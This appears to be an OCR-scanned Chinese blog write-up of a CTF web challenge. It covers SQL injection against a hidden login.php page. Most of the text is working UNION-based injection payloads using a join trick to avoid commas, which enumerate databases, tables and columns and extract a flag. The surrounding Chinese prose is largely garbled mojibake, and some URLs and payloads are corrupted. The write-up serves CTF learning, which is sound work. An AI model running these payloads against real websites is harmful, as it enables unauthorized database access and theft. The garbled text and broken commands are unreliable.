EZH% Iweb22: sqli (iFEK) sqEH, E5%T

FRAT F 2018-08-23 14:56:52 K i 922 WiesER 3

FFEER: ctfweb sql LEFFAE: web ctf sql

FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
ACEERE: https://blog.csdn.net/gq_41618162/article/details/81980988
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<html>
<head> <title>Loading...</title> </head >
<body>
<!-- login.php?id=1 -->
</body>
</html>

F 3T loginphpiXANB&4E, TRHHRERTHE

= @ L] FOST || KeTerrer =mm

welcome admin~</br>

SGRIEFHLAHMER. - . UTHRBEEZXFEL, FUEbpI— TR, HEEKIARTE
RTHM—FBERT, TRZET —Twp, AHERETI02EER, fHRUEMZEN—IBEFEE D —ANRE, mWHX MR-
WIE N\ B E B R AL T

170 |htip-//detectportal.firefox.com GET /success.ixt 200 379 text txt

171 |hitp://69ef04cTefied7b580ed5cTh.. |GET 200 233 HTML

172 |nitp://69ef04cTefS5ed7b580ed5cTh. |GET /bE8aB0d1c4a007a0d863Ib3ac45e. 302 an HTML php Loading. ..
173 |hiip:/f69ef94c7efied 7b580ed5cTh. |GET /b68aB0d1c4a097a9d8631b3acds. . 200 300 HTML php Loading...
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Request | Response |

Raw rHeaders rHex |

HTTF/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 09 May 2018 07:12:40 GMT
Content-Type: text/html
Content-Length: 0
Connection: close

_Powered-By PHE/G G 8- 1yhontud 14

refresh: Ourl=/b68a89d1cda097a9d863Ib3acd5eB8979.php |

XE—AR1 AL REHRET. - . .

# Host Method URL Params | Edited | Status | Length | MIME type | Exiension Title

170  |hitp://detectportal firefox.com GET /success. txt 200 379 text it =

171 |hitp://69ef94c7ef5e47bS80ed5cThb.. |GET / 200 233 HTML

172 |hitp://69ef94c7efSed 7b580ed5cTh.. | GET /b68asod1c4a097a9ds63Ib3acdse. 302 311 HTML php Loading... | |

173 |hitp://69ef94c7ef5e47b580ed5cThb.. |GET /b68aB9d1c4a097a9d8631b3acds. . 200 300 HTML php Loading... =

T\‘ it Lottt Brnk f— ot ot ‘ P et B

Request | Response ‘

| Raw | Headers | Hex | HTML | Render |

HTTR/1.1 302 Found |

Server: nginx/1.10.2

Date: Wed, 09 May 2018 07:12:43 GMT

Content-Type: text/htrml

Content-Length: 57

Connection: close

X-Powered-By: PHP/5 5 8= 1ubuntud 19

page: [0ginphp?id=1

location: /b68a89d1cdal97a9dB8631b3acd5e8979 php

<htrl= urlib ok 2EE

<head=<title =Loading...</title =</head=

</htrml=
XE/AA—THIAKE, FARKbpk—XEIME] 7302, H_RIMNKET302MEERERERHRAE - -« « o MITKRKIIE
SRR ERET X ABERITT

Intercept | HTTP history IWebSockets history I Options ]

| Filter: Hiding CSS, image and general binary content

#  4|Host Method | URL |Params | Edited | Status | Length | MIME type | Extension | Title Comment

1 hitp//d10986d7e591484ebh... GET / 200 233 HTML

2 hitp//d10986d7e591484ebh... GET fMavicon.ico 404 510 HTML ico 404 Not Found

3 hitp://d10986d7e591484eb... GET |!b683.89d1c46.097a9d863lb33c45... | HTML php

4 htip-//detectportal firefox.com GET Jsuccess ixt text it
5, ETRBATRYT XA, RA, M MoginR AR, XEAIOgn. « .

RESDOI’ISB

j Raw T Headers T Hex T HTML T Render }

HTTP/1.1 302 Found

Server: nginx/1.10.2

Date: Thu, 23 Aug 2018 02:53:31 GMT
Content—Type: text/html

Content—Length: 57

Comnection: close

Y¥-Powered-By: PHP/5. 5. 9-1lubuntud. 19

page: l0gin. php?id=1

location: ./b68a89dlc4alf7a9d8631b3acd5e8979, php

R ||

<html>

<head><title’Leoading. .. </title></head>
</html>
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@ Load URL | http://d10986d7e591484eb672b287e6f920f12093e87c5cf74692.game.ichungiu.com/I0gin.php?id=1|
% Split URL
v

Execute

= § [ ]Post [ ] Referrer 4™ OxHEX ™ &% %URL 3 @ pASE64 I | /nsert tod]|/nsert rep

id |[username
1 |flag

FEEPALRMSHT XA, BAVGERBEMEENTR, RIPZEEROHEIET
XEHTEAZRHBR—IRA, RARBEE, HHXMNEZRE-INEE
XERADERERS THA/RENEE

XEENBABNEEFEFEERRE:

1.substr() B8 %

substr(string,start,length)

string (4 7% ) € B3k 8] He ip —ER  BO P4 58
start(i4 7 )L 7E F4F 5 KT AL TF 46
length(FT 14 )3 % 4 1& 8] 775 B R o

%40 echo substr(“Hello world”,6);
% Hworld

2 left() Bk

left(string,length)

string (4 7% ) € B3k [8] He p — AR 2 B 45

length (RT3 #5E # R Bl 7 47F 5 i Al length B 1 F 7F

ETRBATHAT U EE T



payload: id=1' and ascii(substr((select database()),1,1))>64 %23
BHEREES, RO, EAKRK, REEESEHRKsqIERAIMEIE T, idFBHH KN ZH 25 Rsqiga T

INT ~| = & SQL- UNION BASED- ERROR/DOUBLE- TOOLS- WAF BYPASS- ENCODE- HTML- ENCRYPT MORE+ XSS+ LFI-

Load URL | http://98fb3ce9d81d451ea9168a%a528b91e6e0f10cc2887e4b1e.game.ichungiu.com/I0gin.php?id=1" and ascii(substr{(select database()),1,1))>64 %23
Split URL

4 Execute

s=fl

= & ] Post [] Referrer 4™ OxHEX ™ % o URL ™ @ BASEG4 I .’nserfroi‘ Insert rep, Replace 5

‘ id ‘username
‘1’ and ascii(substr((select database())‘

TREMNEZHR-TARESHEATR, XESZE-RBIHKHEEAR:
ESEEsT

XEYWT join WAL, RMEEIIEESRITBRIERR:

“?id=1’ union select database(),2 #

B # ?id=1" union select schema_name,2 from information_schema.schemata
FE# ?id=1" union select table_schema,2 from information_schema.tables™™"

—3H=MFRA, BIE, ESHLET, RIMTEZEHR2join
FERILIF a0

Z—: 1' union select * from (select database()) a join (select 2) b %23

INT | = & SQL UNION BASED~ ERROR/DOUBLE- TOOLS- WAF BYPASSs ENCODE- HTML~ ENCRYPT- MORE- XSS LFI-

@l Load URL | hitp://98fb3ce9d81d451ea9168a%a528b91e6e0f10cc2887e4b1e.game.ichungiu.com/l0gin.php?id=-1' union select * from (select database() ) a join (select 2 ) b %23
% split URL

J Execute

=@ [ Post [] Referrer ¥ OxHEX ™» @™ %URL ¥ &% BASE64 I fnse:ﬂoﬂ Insert rep) Replace M 3

‘ id ‘username

‘sql i ‘2

2 ": 1' union select * from (select schema_name from information schema.schemata ) a join (select 2 ) b %23
@l Lload URL | http://98fb3ce9dB1d451ead168a9a528b91e6e0f10cc2887e4b1e.game.ichungiu.com/l0gin.php?id=-1' union select * from (select schema_name from information_schema.schemata ) a join (select 2 ) b %23
% split URL
D Execute

=@ []Post [] Referrer 4 OxHEX ¥» &% %URL ¥ @ BASE64 I mse/?roﬂ Insert rep| Replace b

| id |username

|informationfschema|2

#=: 1' union select * from (select schema_name from information_schema.schemata ) a join (select 2 ) b %23

INT ~| = & SQL- UNION BASED~ ERROR/DOUBLE* TOOLS- WAF BYPASS ENCODE- HTML- ENCRYPT- MORE- XSS~ LFI-

@l Load URL | http://98fb3ce9d81d4512a9168a9a528b91e6e0f10cc2887e4b1e.game.ichungiu.com/I0gin.php?id=-1" union select * from (select table_schema from information_schema.tables ) a join (select 2) b %23
§ split urL
»

Execute

=@ [J Post [ Referrer 4™ OxHEX ™ % %URL ™ % BASEG4 ™ m;mmﬂ Insert rep Replace ™ |-

‘ id |username

‘informationﬁschema|2



https://www.cnblogs.com/i-honey/p/8203954.html

{HIRATE AIEEIE E B 2 A Ikinformation_schemaiX—~, 1R ¥ Hdatabaseff1ifi, HATHFH group_concat IEEFELR T A
W4 Fl — AT % ok

w ek = p g

€ 9 O 98fb3ce9ddB1d451ead168a9a528b91e6e0f10cc2887e4b1e.game.ichungiu.com/I0ginphp?id=-1'union select * v @ B8 140% | & Q & <Ctrl+K>

INT v = @ SQL- UNION BASED- ERROR/DOUBLE- TOOLS- WAF BYPASS~ ENCODE- HTML- ENCRYPT- MORE- XSS+ LFI-

@ Load URL | http://98fb3cedd81d451ead168a9a528b91 ebe0f1 0cc2887e4b1 e.game.ichungiu.com/I0gin.php?id=-1' union select * from (select group_concat(distinct(table_schema)) from information_schema.tables ) a join (select 2 ) b %23 =
% splitURL @
) Execute

-9 [ Post []Referrer 4 OxHEX M % %URL 3 @ BASE64 3B //7se/ﬂoﬂ Insert rep| [7] Replace b | 2

‘information_schema, information_schema, information_schema, information_schema, information_schema, information_schema, information_schema, i1

BB MBS )57 E Bsqli, (H3EMSqRERIME, AT Ll $distinct:
1' union select * from (select group_concat(distinct(table_schema)) from information_schema.tables ) a join
(select 2 ) b %23

ERERRERNERREE, XHERRMRIER &S

s N
@l Load URL | http://98fb3ce9d81d451ead168a%a528b91e6e0f10cc2887e4b1e.game.ichungiu.com/l0gin.php?id=-1" union select * from (select group_concat(distinct(table_schema)) from infc
§ split uRL

J Execute

[ post [] Referrer 4™ OxHEX ™» @ oURL ™ &% pASER4 =% r'nse:rmﬁ Insert rep. Replace 5

= §

id ‘username

‘information_schema,sqli‘2

W =EMI5E, ETREERBEESL —DNERITT

BHFE4A: 0 union select * from (select group concat(distinct(table _name)) from information schema.tables where

table_schema='sqli') a join (select 2 ) b %23

http://98fb3ce9da1d451ea91689a528b91e6e0f10cc2887e4ble.game.ichungiu.com/I0gin.php?id="union select * from (select group_concat(distinct(table_name)) from information_schema.tables where table_schema="sqli) a join (select 2) b

@ Load URL
4 splicurl | %23
v/ Execute

=% [JProst []Referrer 4@ OxHEX M % %URL 3» 4 BASE64 I /nsstrrof| Insert rep| Replace 3B =

id |username
users 2

EH4: o' union select * from (select group_concat(distinct(column_name)) from information_schema.columns

where table_schema='sqli' and table_name='users') a join (select 2 ) b %23

INT ~| = @ SQl* UNIONBASED* ERROR/DOUBLE- TOOLS® WAF BYPASST ENCODE" HTML ENCRYPT- MORE- XSS+ LFI
@ Load URL | hitp://98fb3ce9d81d451ead168a9a528b91e60f10cc2887edb1e.game.ichungiu.com/I0gin.php?id=0' union select * from (select group_concat(distinct(column_name)) from information_schema.columns where table_schema="sqli' and
I splitupy | tablename="users?) a join (select 2|) b %23

» Execute

=9 [ post [ Referrer 4@ OxHEX 3B 4% %URL M 4% BASEG4 B m;mmﬂ Insert rep| [7] Replace 3 | =

‘ id ‘username

id, username, flag 9c861b688330 2

REAETBRENAR

@' union select * from (select group_concat(distinct(flag_9c861b688330)) from users) a join (select 2) b %23

INT ~| = @ SQL- UNION BASED- ERROR/DOUBLE- TOOLS- WAF BYPASS® ENCODE- HTML- ENCRYPT- MORE- XSS+ LFI-
@ Load URL | http://98b3ce9d81d451ead168a9a528b91e6e0f10cc2887e4b1e.game.ichungiu.com/I0gin.php?id=0" union select * from (select group_concat t(flag_9c861 ))) from users) a join (select 2) b %23
% spliturL

J Execute



=& [ Post [] Referrer 4 OxHEX 3» &% %URL 3 % BASEGA I | insert fo||Insert rep Replace 2 | ™

id |username

flag {fTa92f65-b0e4-4£10-bbh1-8ca2d85aed37}, test[2

getflag
BE: XEER, BEMMRAREZH, RERFE - KEfsqEE, ZRERATRANELR, BERLLZHARIEAERK

~
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